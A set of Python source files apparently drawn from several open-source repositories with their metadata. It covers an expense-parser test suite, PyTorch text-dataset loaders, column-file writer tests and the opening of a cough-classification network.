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c74cd8d41196999844c9bbc2375fda35bf1f732c
281
py
Python
hyperplan/feature_schema.py
hyperplan-io/cli
dc7d407701fd78d9065d60c35b0f2674b28c86bb
[ "MIT" ]
1
2019-09-04T02:33:34.000Z
2019-09-04T02:33:34.000Z
hyperplan/feature_schema.py
hyperplan-io/cli
dc7d407701fd78d9065d60c35b0f2674b28c86bb
[ "MIT" ]
1
2019-09-16T06:09:42.000Z
2019-09-16T06:09:42.000Z
hyperplan/feature_schema.py
hyperplan-io/cli
dc7d407701fd78d9065d60c35b0f2674b28c86bb
[ "MIT" ]
null
null
null
import json class FeatureSchema(): def __init__(self, feature_id, feature_descriptors): self.feature_id = feature_id self.feature_descriptors = feature_descriptors def to_json(self): return {'id': self.feature_id, 'data': self.feature_descriptors}
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7
c75cfccb8979243548036c1113346da562948937
1,580
py
Python
test_expense_parser.py
mahasak/bearlord
eec6ceb9e484e9f9fbaf58b311a190ff20f771f5
[ "CC0-1.0" ]
null
null
null
test_expense_parser.py
mahasak/bearlord
eec6ceb9e484e9f9fbaf58b311a190ff20f771f5
[ "CC0-1.0" ]
7
2020-10-08T13:35:43.000Z
2020-10-09T09:54:15.000Z
test_expense_parser.py
mahasak/bearlord
eec6ceb9e484e9f9fbaf58b311a190ff20f771f5
[ "CC0-1.0" ]
null
null
null
import pytest from expense import ExpenseTracker class TestExpenseParser(object): def test_parse_amount_only(self): test_payload = "?>expense 20" tracker = ExpenseTracker() payload = tracker.parse_message("EXPENSE", test_payload) assert payload["Amount"] == -20 assert payload["Currency"] == "SGD" assert payload["Description"] == "" assert payload["Category"] == "" def test_parse_amount_and_currency(self): test_payload = "?>expense 20 THB" tracker = ExpenseTracker() payload = tracker.parse_message("EXPENSE", test_payload) assert payload["Amount"] == -20 assert payload["Currency"] == "THB" assert payload["Description"] == "" assert payload["Category"] == "" def test_parse_amount_with_currency_and_description(self): test_payload = "?>expense 20 THB Manga" tracker = ExpenseTracker() payload = tracker.parse_message("EXPENSE", test_payload) assert payload["Amount"] == -20 assert payload["Currency"] == "THB" assert payload["Description"] == "Manga" assert payload["Category"] == "" def test_parse_amount_with_currency_and_description_and_category(self): test_payload = "?>expense 20 THB Manga ENT" tracker = ExpenseTracker() payload = tracker.parse_message("EXPENSE", test_payload) assert payload["Amount"] == -20 assert payload["Currency"] == "THB" assert payload["Description"] == "Manga" assert payload["Category"] == "ENT"
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8
c779f608a6a63577b72465466d2e74ccde9b966b
28,456
py
Python
src/tyche/data/experimental/loader.py
cesarali/Tyche
d892df9e0b982f538ae38221ff5848f6d726a4fb
[ "MIT" ]
null
null
null
src/tyche/data/experimental/loader.py
cesarali/Tyche
d892df9e0b982f538ae38221ff5848f6d726a4fb
[ "MIT" ]
null
null
null
src/tyche/data/experimental/loader.py
cesarali/Tyche
d892df9e0b982f538ae38221ff5848f6d726a4fb
[ "MIT" ]
null
null
null
from abc import ABC, abstractmethod import torch from nltk.tokenize import TweetTokenizer from torch.utils.data.dataloader import DataLoader from tyche.data.experimental.datasets import WikiText2, WikiText103, PennTreebank, YelpReviewPolarity, YelpReviewFull,\ YahooAnswers, PennTreebankPretrained, YahooAnswersPretrained, WikiText103Pretrained, Atomic2, WikiOptimus sampler = torch.utils.data.RandomSampler DistributedSampler = torch.utils.data.distributed.DistributedSampler tokenizer = TweetTokenizer(preserve_case=False).tokenize class ADataLoader(ABC): def __init__(self, device, rank: int = 0, world_size: int = -1, **kwargs): self.device = device self.batch_size = kwargs.pop('batch_size') self.path_to_vectors = kwargs.pop('path_to_vectors', None) self.emb_dim = kwargs.pop('emb_dim', None) self.voc_size = kwargs.pop('voc_size', None) self.min_freq = kwargs.pop('min_freq', 1) self._fix_length = kwargs.pop('fix_len', None) self.min_len = kwargs.pop('min_len', None) self.max_len = kwargs.pop('max_len', None) self.lower = kwargs.pop('lower', False) self.punctuation = kwargs.pop('punctuation', True) self.dataset_kwargs = kwargs self.world_size = world_size self.rank = rank @property @abstractmethod def train(self): ... @property @abstractmethod def validate(self): ... @property @abstractmethod def test(self): ... @property def n_train_batches(self): return len(self.train) @property def n_validate_batches(self): return len(self.validate) @property def n_test_batches(self): return len(self.test) @property def train_set_size(self): return len(self.train.dataset) @property def validation_set_size(self): return len(self.validate.dataset) @property def test_set_size(self): return len(self.test.dataset) class DataLoaderPTB(ADataLoader): def __init__(self, device, rank: int = 0, world_size=-1, **kwargs): path_to_data = kwargs.pop('path_to_data') super().__init__(device, rank, world_size, **kwargs) path_to_vectors = kwargs.pop('path_to_vectors') emb_dim = kwargs.pop('emb_dim') voc_size = kwargs.pop('voc_size') min_freq = kwargs.pop('min_freq') min_len = kwargs.pop('min_len') fix_len = kwargs.pop('fix_len') train_dataset, test_dataset, valid_dataset = PennTreebank(root=path_to_data, tokenizer=tokenizer, path_to_vectors=path_to_vectors, emb_dim=emb_dim, voc_size=voc_size, min_freq=min_freq, fix_len=fix_len, min_len=min_len) train_sampler = None valid_sampler = None test_sampler = None if self.world_size != -1: train_sampler = DistributedSampler(train_dataset, self.world_size, self.rank) valid_sampler = DistributedSampler(valid_dataset, self.world_size, self.rank) test_sampler = DistributedSampler(test_dataset, self.world_size, self.rank) self._train_iter = DataLoader(train_dataset, drop_last=True, sampler=train_sampler, shuffle=train_sampler is None, **kwargs) self._valid_iter = DataLoader(valid_dataset, drop_last=True, sampler=valid_sampler, shuffle=valid_sampler is None, **kwargs) self._test_iter = DataLoader(test_dataset, drop_last=True, sampler=test_sampler, shuffle=test_sampler is None, **kwargs) vocab = train_dataset.get_vocab() self.train_vocab = vocab self._fix_length = fix_len @property def train(self): return self._train_iter @property def test(self): return self._test_iter @property def validate(self): return self._valid_iter @property def vocab(self): return self.train_vocab @property def fix_len(self): return self._fix_length class DataLoaderWiki2(ADataLoader): def __init__(self, device, rank: int = 0, world_size=-1, **kwargs): path_to_data = kwargs.pop('path_to_data') super().__init__(device, rank, world_size, **kwargs) path_to_vectors = kwargs.pop('path_to_vectors') emb_dim = kwargs.pop('emb_dim') voc_size = kwargs.pop('voc_size') min_freq = kwargs.pop('min_freq') fix_len = kwargs.pop('fix_len') min_len = kwargs.pop('min_len') train_dataset, test_dataset, valid_dataset = WikiText2(root=path_to_data, tokenizer=tokenizer, path_to_vectors=path_to_vectors, emb_dim=emb_dim, voc_size=voc_size, min_freq=min_freq, fix_len=fix_len, min_len=min_len) train_sampler = None valid_sampler = None test_sampler = None if self.world_size != -1: train_sampler = DistributedSampler(train_dataset, self.world_size, self.rank) valid_sampler = DistributedSampler(valid_dataset, self.world_size, self.rank) test_sampler = DistributedSampler(test_dataset, self.world_size, self.rank) self._train_iter = DataLoader(train_dataset, drop_last=True, sampler=train_sampler, shuffle=train_sampler is None, **kwargs) self._valid_iter = DataLoader(valid_dataset, drop_last=True, sampler=valid_sampler, shuffle=valid_sampler is None, **kwargs) self._test_iter = DataLoader(test_dataset, drop_last=True, sampler=test_sampler, shuffle=test_sampler is None, **kwargs) vocab = train_dataset.get_vocab() self.train_vocab = vocab self._fix_length = fix_len @property def train(self): return self._train_iter @property def test(self): return self._test_iter @property def validate(self): return self._valid_iter @property def vocab(self): return self.train_vocab @property def fix_len(self): return self._fix_length class DataLoaderWiki103(ADataLoader): def __init__(self, device, rank: int = 0, world_size=-1, **kwargs): path_to_data = kwargs.pop('path_to_data') super().__init__(device, rank, world_size, **kwargs) path_to_vectors = kwargs.pop('path_to_vectors') emb_dim = kwargs.pop('emb_dim') voc_size = kwargs.pop('voc_size') min_freq = kwargs.pop('min_freq') fix_len = kwargs.pop('fix_len') min_len = kwargs.pop('min_len') train_dataset, test_dataset, valid_dataset = WikiText103(root=path_to_data, tokenizer=tokenizer, path_to_vectors=path_to_vectors, emb_dim=emb_dim, voc_size=voc_size, min_freq=min_freq, fix_len=fix_len, min_len=min_len) train_sampler = None valid_sampler = None test_sampler = None if self.world_size != -1: train_sampler = DistributedSampler(train_dataset, self.world_size, self.rank) valid_sampler = DistributedSampler(valid_dataset, self.world_size, self.rank) test_sampler = DistributedSampler(test_dataset, self.world_size, self.rank) self._train_iter = DataLoader(train_dataset, drop_last=True, sampler=train_sampler, shuffle=train_sampler is None, **kwargs) self._valid_iter = DataLoader(valid_dataset, drop_last=True, sampler=valid_sampler, shuffle=valid_sampler is None, **kwargs) self._test_iter = DataLoader(test_dataset, drop_last=True, sampler=test_sampler, shuffle=test_sampler is None, **kwargs) vocab = train_dataset.get_vocab() vocab.load_vectors(self.emb_dim, unk_init=None, cache=self.path_to_vectors) self.train_vocab = vocab @property def train(self): return self._train_iter @property def test(self): return self._test_iter @property def validate(self): return self._valid_iter @property def vocab(self): return self.train_vocab @property def fix_len(self): return self._fix_length class DataLoaderYelpReviewPolarity(ADataLoader): """ This is a data loader for the Yelp review dataset with sentiment. The user can also change the proportion of visible target labels i.e. from fully supervised to un-supervised. """ def __init__(self, device, rank: int = 0, world_size=-1, supervised_proportion=0.9, **kwargs): """ Provide the location folder of the dataset, if the folder is empty or does not exists the data will be downloaded automatically. :param device: :param rank: :param world_size: :param supervised_proportion: the proportion of the data with masked labels, :param kwargs: """ path_to_data = kwargs.pop('path_to_data') super().__init__(device, rank, world_size, **kwargs) path_to_vectors = kwargs.pop('path_to_vectors') emb_dim = kwargs.pop('emb_dim') voc_size = kwargs.pop('voc_size') min_freq = kwargs.pop('min_freq') fix_len = kwargs.pop('fix_len') min_len = kwargs.pop('min_len') train_dataset, test_dataset, valid_dataset = YelpReviewPolarity(root=path_to_data, tokenizer=tokenizer, path_to_vectors=path_to_vectors, emb_dim=emb_dim, voc_size=voc_size, min_freq=min_freq, fix_len=fix_len, min_len=min_len, supervised_proportion=supervised_proportion) train_sampler = torch.utils.data.WeightedRandomSampler(train_dataset.data['weights'], num_samples=len(train_dataset.data['weights'])) valid_sampler = None test_sampler = None if self.world_size != -1: raise NotImplementedError('Distributed training and semi-supervised data loaders not implemented!') self._train_iter = DataLoader(train_dataset, drop_last=True, sampler=train_sampler, shuffle=train_sampler is None, **kwargs) self._valid_iter = DataLoader(valid_dataset, drop_last=True, sampler=valid_sampler, shuffle=valid_sampler is None, **kwargs) self._test_iter = DataLoader(test_dataset, drop_last=True, sampler=test_sampler, shuffle=test_sampler is None, **kwargs) vocab = train_dataset.vocab vocab.load_vectors(self.emb_dim, unk_init=None, cache=self.path_to_vectors) self.train_vocab = vocab @property def train(self): return self._train_iter @property def test(self): return self._test_iter @property def validate(self): return self._valid_iter @property def vocab(self): return self.train_vocab @property def fix_len(self): return self._fix_length class DataLoaderSemiSupervised(ADataLoader): """ This is a data loader for any labelled text classification data set. The user can also change the proportion of visible target labels i.e. from fully supervised to un-supervised. """ def __init__(self, device, rank: int = 0, world_size=-1, supervised_proportion=0.9, **kwargs): """ Provide the location folder of the dataset, if the folder is empty or does not exists the data will be downloaded automatically. :param device: :param rank: :param world_size: :param supervised_proportion: the proportion of the data with masked labels, :param kwargs: :param dataset: [YelpReviewPolarity, YelpReviewFull, YahooAnswers] """ dataset = eval(kwargs.pop('dataset')) path_to_data = kwargs.pop('path_to_data') super().__init__(device, rank, world_size, **kwargs) path_to_vectors = kwargs.pop('path_to_vectors') emb_dim = kwargs.pop('emb_dim') voc_size = kwargs.pop('voc_size') min_freq = kwargs.pop('min_freq') fix_len = kwargs.pop('fix_len') min_len = kwargs.pop('min_len') train_dataset, test_dataset, valid_dataset = dataset(root=path_to_data, tokenizer=tokenizer, path_to_vectors=path_to_vectors, emb_dim=emb_dim, voc_size=voc_size, min_freq=min_freq, fix_len=fix_len, min_len=min_len, supervised_proportion=supervised_proportion) train_sampler = torch.utils.data.WeightedRandomSampler(train_dataset.data['weights'], num_samples=len(train_dataset.data['weights'])) valid_sampler = None test_sampler = None if self.world_size != -1: raise NotImplementedError('Distributed training and semi-supervised data loaders not implemented!') self._train_iter = DataLoader(train_dataset, drop_last=True, sampler=train_sampler, shuffle=train_sampler is None, **kwargs) self._valid_iter = DataLoader(valid_dataset, drop_last=True, sampler=valid_sampler, shuffle=valid_sampler is None, **kwargs) self._test_iter = DataLoader(test_dataset, drop_last=True, sampler=test_sampler, shuffle=test_sampler is None, **kwargs) vocab = train_dataset.vocab vocab.load_vectors(self.emb_dim, unk_init=None, cache=self.path_to_vectors) self.train_vocab = vocab @property def train(self): return self._train_iter @property def test(self): return self._test_iter @property def validate(self): return self._valid_iter @property def vocab(self): return self.train_vocab @property def fix_len(self): return self._fix_length class DataLoaderPTBPretrained(ADataLoader): """ Data loader for PTB with pretrained tokenizers and models from huggingface """ def __init__(self, device, rank: int = 0, world_size=-1, **kwargs): path_to_data = kwargs.pop('path_to_data') self.path_to_pretrained_models = kwargs.pop('path_to_pretrained_models', path_to_data) super().__init__(device, rank, world_size, **kwargs) min_len = kwargs.pop('min_len') fix_len = kwargs.pop('fix_len') pretrained_tokenizer = kwargs.pop('pretrained_tokenizer', None) assert pretrained_tokenizer is not None, 'no pretrained tokenizer specified' train_dataset, test_dataset, valid_dataset = PennTreebankPretrained(root=path_to_data, pretrained_tokenizer=pretrained_tokenizer, fix_len=fix_len, min_len=min_len, path_to_pretrained_models=self.path_to_pretrained_models) train_sampler = None valid_sampler = None test_sampler = None if self.world_size != -1: train_sampler = DistributedSampler(train_dataset, self.world_size, self.rank) valid_sampler = DistributedSampler(valid_dataset, self.world_size, self.rank) test_sampler = DistributedSampler(test_dataset, self.world_size, self.rank) self._train_iter = DataLoader(train_dataset, drop_last=True, sampler=train_sampler, shuffle=train_sampler is None, **kwargs) self._valid_iter = DataLoader(valid_dataset, drop_last=True, sampler=valid_sampler, shuffle=valid_sampler is None, **kwargs) self._test_iter = DataLoader(test_dataset, drop_last=True, sampler=test_sampler, shuffle=test_sampler is None, **kwargs) self._pad_token_id = train_dataset.get_pad_token_id() self._fix_length = fix_len self._num_added_tokens = train_dataset.get_num_added_tokens() self._tokenizer = train_dataset.tokenizer_list[-1] @property def train(self): return self._train_iter @property def test(self): return self._test_iter @property def validate(self): return self._valid_iter @property def tokenizer(self): return self._tokenizer @property def pad_token_id(self): return self._pad_token_id @property def fix_len(self): return self._fix_length @property def num_added_tokens(self): return self._num_added_tokens @property def vocab(self): # for compatibility with TextTrainer return None class DataLoaderYahooPretrained(ADataLoader): """ Data loader for YahooAnswers with pretrained tokenizers and models from huggingface """ def __init__(self, device, rank: int = 0, world_size=-1, **kwargs): path_to_data = kwargs.pop('path_to_data') self.path_to_pretrained_models = kwargs.pop('path_to_pretrained_models', path_to_data) super().__init__(device, rank, world_size, **kwargs) min_len = kwargs.pop('min_len') fix_len = kwargs.pop('fix_len') pretrained_tokenizer = kwargs.pop('pretrained_tokenizer', None) assert pretrained_tokenizer is not None, 'no pretrained tokenizer specified' train_dataset, test_dataset, valid_dataset = YahooAnswersPretrained(root=path_to_data, pretrained_tokenizer=pretrained_tokenizer, fix_len=fix_len, min_len=min_len, path_to_pretrained_models=self.path_to_pretrained_models) train_sampler = None valid_sampler = None test_sampler = None if self.world_size != -1: train_sampler = DistributedSampler(train_dataset, self.world_size, self.rank) valid_sampler = DistributedSampler(valid_dataset, self.world_size, self.rank) test_sampler = DistributedSampler(test_dataset, self.world_size, self.rank) self._train_iter = DataLoader(train_dataset, drop_last=True, sampler=train_sampler, shuffle=train_sampler is None, **kwargs) self._valid_iter = DataLoader(valid_dataset, drop_last=True, sampler=valid_sampler, shuffle=valid_sampler is None, **kwargs) self._test_iter = DataLoader(test_dataset, drop_last=True, sampler=test_sampler, shuffle=test_sampler is None, **kwargs) self._pad_token_id = train_dataset.get_pad_token_id() self._fix_length = fix_len self._num_added_tokens = train_dataset.get_num_added_tokens() self._tokenizer = train_dataset.tokenizer_list[-1] @property def train(self): return self._train_iter @property def test(self): return self._test_iter @property def validate(self): return self._valid_iter @property def tokenizer(self): return self._tokenizer @property def pad_token_id(self): return self._pad_token_id @property def fix_len(self): return self._fix_length @property def num_added_tokens(self): return self._num_added_tokens @property def vocab(self): # for compatibility with TextTrainer return None class DataLoaderWiki103Pretrained(ADataLoader): """ Data loader for YahooAnswers with pretrained tokenizers and models from huggingface """ def __init__(self, device, rank: int = 0, world_size=-1, **kwargs): path_to_data = kwargs.pop('path_to_data') self.path_to_pretrained_models = kwargs.pop('path_to_pretrained_models', path_to_data) super().__init__(device, rank, world_size, **kwargs) min_len = kwargs.pop('min_len') fix_len = kwargs.pop('fix_len') pretrained_tokenizer = kwargs.pop('pretrained_tokenizer', None) assert pretrained_tokenizer is not None, 'no pretrained tokenizer specified' train_dataset, test_dataset, valid_dataset = WikiText103Pretrained(root=path_to_data, pretrained_tokenizer=pretrained_tokenizer, fix_len=fix_len, min_len=min_len, path_to_pretrained_models=self.path_to_pretrained_models) train_sampler = None valid_sampler = None test_sampler = None if self.world_size != -1: train_sampler = DistributedSampler(train_dataset, self.world_size, self.rank) valid_sampler = DistributedSampler(valid_dataset, self.world_size, self.rank) test_sampler = DistributedSampler(test_dataset, self.world_size, self.rank) self._train_iter = DataLoader(train_dataset, drop_last=True, sampler=train_sampler, shuffle=train_sampler is None, **kwargs) self._valid_iter = DataLoader(valid_dataset, drop_last=True, sampler=valid_sampler, shuffle=valid_sampler is None, **kwargs) self._test_iter = DataLoader(test_dataset, drop_last=True, sampler=test_sampler, shuffle=test_sampler is None, **kwargs) self._pad_token_id = train_dataset.get_pad_token_id() self._fix_length = fix_len self._num_added_tokens = train_dataset.get_num_added_tokens() self._tokenizer = train_dataset.tokenizer_list[-1] @property def train(self): return self._train_iter @property def test(self): return self._test_iter @property def validate(self): return self._valid_iter @property def tokenizer(self): return self._tokenizer @property def pad_token_id(self): return self._pad_token_id @property def fix_len(self): return self._fix_length @property def num_added_tokens(self): return self._num_added_tokens @property def vocab(self): # for compatibility with TextTrainer return None class DataLoaderWikiOptimus(ADataLoader): """ Data loader for Wikipedia preprocessed in Optimus with pretrained tokenizers and models from huggingface """ def __init__(self, device, rank: int = 0, world_size=-1, **kwargs): path_to_data = kwargs.pop('path_to_data') self.path_to_pretrained_models = kwargs.pop('path_to_pretrained_models', path_to_data) super().__init__(device, rank, world_size, **kwargs) min_len = kwargs.pop('min_len') fix_len = kwargs.pop('fix_len') pretrained_tokenizer = kwargs.pop('pretrained_tokenizer', None) assert pretrained_tokenizer is not None, 'no pretrained tokenizer specified' train_dataset, test_dataset, valid_dataset = WikiOptimus(root=path_to_data, pretrained_tokenizer=pretrained_tokenizer, fix_len=fix_len, min_len=min_len, path_to_pretrained_models=self.path_to_pretrained_models) train_sampler = None valid_sampler = None test_sampler = None if self.world_size != -1: train_sampler = DistributedSampler(train_dataset, self.world_size, self.rank) valid_sampler = DistributedSampler(valid_dataset, self.world_size, self.rank) test_sampler = DistributedSampler(test_dataset, self.world_size, self.rank) self._train_iter = DataLoader(train_dataset, drop_last=True, sampler=train_sampler, shuffle=train_sampler is None, **kwargs) self._valid_iter = DataLoader(valid_dataset, drop_last=True, sampler=valid_sampler, shuffle=valid_sampler is None, **kwargs) self._test_iter = DataLoader(test_dataset, drop_last=True, sampler=test_sampler, shuffle=test_sampler is None, **kwargs) self._pad_token_id = train_dataset.get_pad_token_id() self._fix_length = fix_len self._num_added_tokens = train_dataset.get_num_added_tokens() self._tokenizer = train_dataset.tokenizer_list[-1] @property def train(self): return self._train_iter @property def test(self): return self._test_iter @property def validate(self): return self._valid_iter @property def tokenizer(self): return self._tokenizer @property def pad_token_id(self): return self._pad_token_id @property def fix_len(self): return self._fix_length @property def num_added_tokens(self): return self._num_added_tokens @property def vocab(self): # for compatibility with TextTrainer return None class DataLoaderAtomic2(ADataLoader): """ Data loader for YahooAnswers with pretrained tokenizers and models from huggingface """ def __init__(self, device, rank: int = 0, world_size=-1, **kwargs): path_to_data = kwargs.pop('path_to_data') super().__init__(device, rank, world_size, **kwargs) min_len = kwargs.pop('min_len') fix_len = kwargs.pop('fix_len') train_dataset, test_dataset, valid_dataset = Atomic2(root=path_to_data, fix_len=fix_len, min_len=min_len) train_sampler = None valid_sampler = None test_sampler = None if self.world_size != -1: train_sampler = DistributedSampler(train_dataset, self.world_size, self.rank) valid_sampler = DistributedSampler(valid_dataset, self.world_size, self.rank) test_sampler = DistributedSampler(test_dataset, self.world_size, self.rank) self._train_iter = DataLoader(train_dataset, drop_last=True, sampler=train_sampler, shuffle=train_sampler is None, **kwargs) self._valid_iter = DataLoader(valid_dataset, drop_last=True, sampler=valid_sampler, shuffle=valid_sampler is None, **kwargs) self._test_iter = DataLoader(test_dataset, drop_last=True, sampler=test_sampler, shuffle=test_sampler is None, **kwargs) self._pad_token_id = train_dataset.get_pad_token_id() self._fix_length = fix_len self._num_added_tokens = train_dataset.get_num_added_tokens() self._tokenizer = train_dataset.tokenizer_list[-1] @property def train(self): return self._train_iter @property def test(self): return self._test_iter @property def validate(self): return self._valid_iter @property def tokenizer(self): return self._tokenizer @property def pad_token_id(self): return self._pad_token_id @property def fix_len(self): return self._fix_length @property def num_added_tokens(self): return self._num_added_tokens @property def vocab(self): # for compatibility with TextTrainer return None
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8
c78211491e6e9de1068f87a031f650024705a4c8
7,784
py
Python
tests/test_column_files.py
woven-planet/wicker
0c00e3c6f5d3915c3aa06f96dcbb5cd5b2e8982f
[ "MIT" ]
11
2022-01-20T17:08:11.000Z
2022-03-28T18:45:52.000Z
tests/test_column_files.py
woven-planet/wicker
0c00e3c6f5d3915c3aa06f96dcbb5cd5b2e8982f
[ "MIT" ]
null
null
null
tests/test_column_files.py
woven-planet/wicker
0c00e3c6f5d3915c3aa06f96dcbb5cd5b2e8982f
[ "MIT" ]
null
null
null
import os import tempfile import unittest import uuid from unittest.mock import MagicMock from wicker.core.column_files import ColumnBytesFileLocationV1, ColumnBytesFileWriter from wicker.core.definitions import DatasetID, DatasetPartition from wicker.core.storage import S3PathFactory from wicker.testing.storage import FakeS3DataStorage FAKE_SHARD_ID = "fake_shard_id" FAKE_DATA_PARTITION = DatasetPartition(dataset_id=DatasetID(name="name", version="0.0.1"), partition="partition") FAKE_BYTES = b"foo" FAKE_BYTES2 = b"0123456789" FAKE_COL = "col0" FAKE_COL2 = "col1" class TestColumnBytesFileWriter(unittest.TestCase): def test_write_empty(self) -> None: mock_storage = MagicMock() path_factory = S3PathFactory() with ColumnBytesFileWriter( storage=mock_storage, s3_path_factory=path_factory, ): pass mock_storage.put_object_s3.assert_not_called() def test_write_one_column_one_row(self) -> None: path_factory = S3PathFactory() mock_storage = MagicMock() with ColumnBytesFileWriter( storage=mock_storage, s3_path_factory=path_factory, ) as ccb: info = ccb.add(FAKE_COL, FAKE_BYTES) self.assertEqual(info.byte_offset, 0) self.assertEqual(info.data_size, len(FAKE_BYTES)) mock_storage.put_file_s3.assert_called_once_with( unittest.mock.ANY, os.path.join( path_factory.get_column_concatenated_bytes_files_path(), str(info.file_id), ), ) def test_write_one_column_multi_row(self) -> None: path_factory = S3PathFactory() mock_storage = MagicMock() with ColumnBytesFileWriter( storage=mock_storage, s3_path_factory=path_factory, ) as ccb: info = ccb.add(FAKE_COL, FAKE_BYTES) self.assertEqual(info.byte_offset, 0) self.assertEqual(info.data_size, len(FAKE_BYTES)) next_info = ccb.add(FAKE_COL, FAKE_BYTES) self.assertEqual(next_info.byte_offset, len(FAKE_BYTES)) self.assertEqual(next_info.data_size, len(FAKE_BYTES)) mock_storage.put_file_s3.assert_called_once_with( unittest.mock.ANY, os.path.join( path_factory.get_column_concatenated_bytes_files_path(), str(info.file_id), ), ) def test_write_multi_column_multi_row(self) -> None: path_factory = S3PathFactory() mock_storage = MagicMock() with ColumnBytesFileWriter( storage=mock_storage, s3_path_factory=path_factory, ) as ccb: info1 = ccb.add(FAKE_COL, FAKE_BYTES) self.assertEqual(info1.byte_offset, 0) self.assertEqual(info1.data_size, len(FAKE_BYTES)) info1 = ccb.add(FAKE_COL, FAKE_BYTES) self.assertEqual(info1.byte_offset, len(FAKE_BYTES)) self.assertEqual(info1.data_size, len(FAKE_BYTES)) info2 = ccb.add(FAKE_COL2, FAKE_BYTES) self.assertEqual(info2.byte_offset, 0) self.assertEqual(info2.data_size, len(FAKE_BYTES)) info2 = ccb.add(FAKE_COL2, FAKE_BYTES) self.assertEqual(info2.byte_offset, len(FAKE_BYTES)) self.assertEqual(info2.data_size, len(FAKE_BYTES)) info2 = ccb.add(FAKE_COL2, FAKE_BYTES) self.assertEqual(info2.byte_offset, len(FAKE_BYTES) * 2) self.assertEqual(info2.data_size, len(FAKE_BYTES)) mock_storage.put_file_s3.assert_any_call( unittest.mock.ANY, os.path.join( path_factory.get_column_concatenated_bytes_files_path(), str(info1.file_id), ), ) mock_storage.put_file_s3.assert_any_call( unittest.mock.ANY, os.path.join( path_factory.get_column_concatenated_bytes_files_path(), str(info2.file_id), ), ) def test_write_large_file(self) -> None: with tempfile.TemporaryDirectory() as tmpdir: path_factory = S3PathFactory() storage = FakeS3DataStorage(tmpdir=tmpdir) with ColumnBytesFileWriter(storage=storage, s3_path_factory=path_factory, target_file_size=10) as ccb: info1 = ccb.add(FAKE_COL, FAKE_BYTES) self.assertEqual(info1.byte_offset, 0) self.assertEqual(info1.data_size, len(FAKE_BYTES)) info1 = ccb.add(FAKE_COL, FAKE_BYTES) self.assertEqual(info1.byte_offset, len(FAKE_BYTES)) self.assertEqual(info1.data_size, len(FAKE_BYTES)) info1 = ccb.add(FAKE_COL, FAKE_BYTES) self.assertEqual(info1.byte_offset, len(FAKE_BYTES) * 2) self.assertEqual(info1.data_size, len(FAKE_BYTES)) info1 = ccb.add(FAKE_COL, FAKE_BYTES) self.assertEqual(info1.byte_offset, len(FAKE_BYTES) * 3) self.assertEqual(info1.data_size, len(FAKE_BYTES)) info2 = ccb.add(FAKE_COL, FAKE_BYTES) self.assertEqual(info2.byte_offset, 0) self.assertEqual(info2.data_size, len(FAKE_BYTES)) self.assertNotEqual(info1.file_id, info2.file_id) info1 = ccb.add(FAKE_COL2, FAKE_BYTES2) self.assertEqual(info1.byte_offset, 0) self.assertEqual(info1.data_size, len(FAKE_BYTES2)) info2 = ccb.add(FAKE_COL2, FAKE_BYTES2) self.assertEqual(info2.byte_offset, 0) self.assertEqual(info2.data_size, len(FAKE_BYTES2)) self.assertNotEqual(info1.file_id, info2.file_id) info3 = ccb.add(FAKE_COL2, FAKE_BYTES2) self.assertEqual(info3.byte_offset, 0) self.assertEqual(info3.data_size, len(FAKE_BYTES2)) self.assertNotEqual(info2.file_id, info3.file_id) def test_write_manyrows_file(self) -> None: with tempfile.TemporaryDirectory() as tmpdir: path_factory = S3PathFactory() storage = FakeS3DataStorage(tmpdir=tmpdir) with ColumnBytesFileWriter( storage=storage, s3_path_factory=path_factory, target_file_rowgroup_size=1 ) as ccb: info1 = ccb.add(FAKE_COL, FAKE_BYTES) self.assertEqual(info1.byte_offset, 0) self.assertEqual(info1.data_size, len(FAKE_BYTES)) info2 = ccb.add(FAKE_COL, FAKE_BYTES) self.assertEqual(info2.byte_offset, 0) self.assertEqual(info2.data_size, len(FAKE_BYTES)) self.assertNotEqual(info1.file_id, info2.file_id) info1 = ccb.add(FAKE_COL2, FAKE_BYTES2) self.assertEqual(info1.byte_offset, 0) self.assertEqual(info1.data_size, len(FAKE_BYTES2)) info2 = ccb.add(FAKE_COL2, FAKE_BYTES2) self.assertEqual(info2.byte_offset, 0) self.assertEqual(info2.data_size, len(FAKE_BYTES2)) self.assertNotEqual(info1.file_id, info2.file_id) info3 = ccb.add(FAKE_COL2, FAKE_BYTES2) self.assertEqual(info3.byte_offset, 0) self.assertEqual(info3.data_size, len(FAKE_BYTES2)) self.assertNotEqual(info2.file_id, info3.file_id) class TestCCBInfo(unittest.TestCase): def test_to_string(self) -> None: ccb_info = ColumnBytesFileLocationV1(uuid.uuid4(), 100, 100) ccb_info_parsed = ColumnBytesFileLocationV1.from_bytes(ccb_info.to_bytes()) self.assertEqual(ccb_info, ccb_info_parsed)
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114
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909
7,784
5.127613
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0.05664
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0.278392
7,784
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false
0.00625
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0
0
0
0
7
c7d99262678c915df38a599db3eef09f7be20bcf
9,211
py
Python
cac/networks/multi_signal.py
WadhwaniAI/cac-test-release
066c554a354f0043f8ac83c9d6421a8397b17ba5
[ "Apache-2.0" ]
24
2021-05-13T13:34:27.000Z
2022-03-02T13:52:29.000Z
cac/networks/multi_signal.py
WadhwaniAI/cac-test-release
066c554a354f0043f8ac83c9d6421a8397b17ba5
[ "Apache-2.0" ]
2
2021-07-09T08:21:31.000Z
2022-02-11T15:30:55.000Z
cac/networks/multi_signal.py
WadhwaniAI/cac-test-release
066c554a354f0043f8ac83c9d6421a8397b17ba5
[ "Apache-2.0" ]
6
2021-06-10T07:47:48.000Z
2022-01-27T07:36:09.000Z
import numpy as np import pandas as pd import torch from torch.utils.data import DataLoader import torch.nn.functional as F import torch.nn as nn from cac.networks.backbones.resnet import resnet18 from cac.networks.backbones.tab_network import TabNet # MLP(Context) + Resnet+FCLayers(Cough) [Merge at 128] class NaiveCoughContextNetwork(nn.Module): def __init__(self, input_dim_text = 11, dropout = 0.4, merge_type = 'sum'): super(NaiveCoughContextNetwork, self).__init__() self.merge_type = merge_type assert merge_type in ['sum', 'max', 'min'], "Mention Merge Type out of the 3 (Max, Min, Sum)" # cough model self.resnet_cough = resnet18(in_channels=1, pretrained=True) self.adaptiveavgpool_cough = nn.AdaptiveAvgPool2d((1, 1)) self.flatten_cough = nn.Flatten() self.fc1_cough = nn.Linear(512, 256) self.dropout1_cough = nn.Dropout(p=dropout) self.relu1_cough = nn.ReLU() self.fc2_cough = nn.Linear(256, 128) self.dropout2_cough = nn.Dropout(p=dropout) self.relu2_cough = nn.ReLU() self.fc3_cough = nn.Linear(128, 2) self.dropout3_cough = nn.Dropout(p=dropout) # context MLP self.linear1_context = nn.Linear(11, 128) self.relu1_context = nn.ReLU() 